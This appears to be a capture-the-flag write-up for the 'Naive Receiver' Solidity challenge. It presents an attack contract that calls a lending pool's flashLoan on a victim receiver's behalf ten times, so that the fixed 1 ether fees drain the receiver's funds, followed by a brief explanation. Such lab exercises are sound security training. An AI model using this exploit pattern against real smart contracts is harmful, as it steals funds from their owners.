2 - Naive Receiver

Solution

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./NaiveReceiverLenderPool.sol";
import "./FlashLoanReceiver.sol";

contract AttackNaiveReceiver {
    NaiveReceiverLenderPool pool;
    FlashLoanReceiver receiver;

    constructor(NaiveReceiverLenderPool _pool, FlashLoanReceiver _receiver) {
        pool = _pool;
        receiver = _receiver;
    }

    function attack() external {
        for (uint256 i = 0; i < 10; i++) {
            pool.flashLoan(address(receiver), 1 ether);
        }
    }
}

No matter how much FlashLoanReceiver borrows from NaiveReceiverLenderPool, it has to pay 1 ether for fee.

So we simply make it borrow 1 ether 10 times to drain its fund.

Done! 😎

Last updated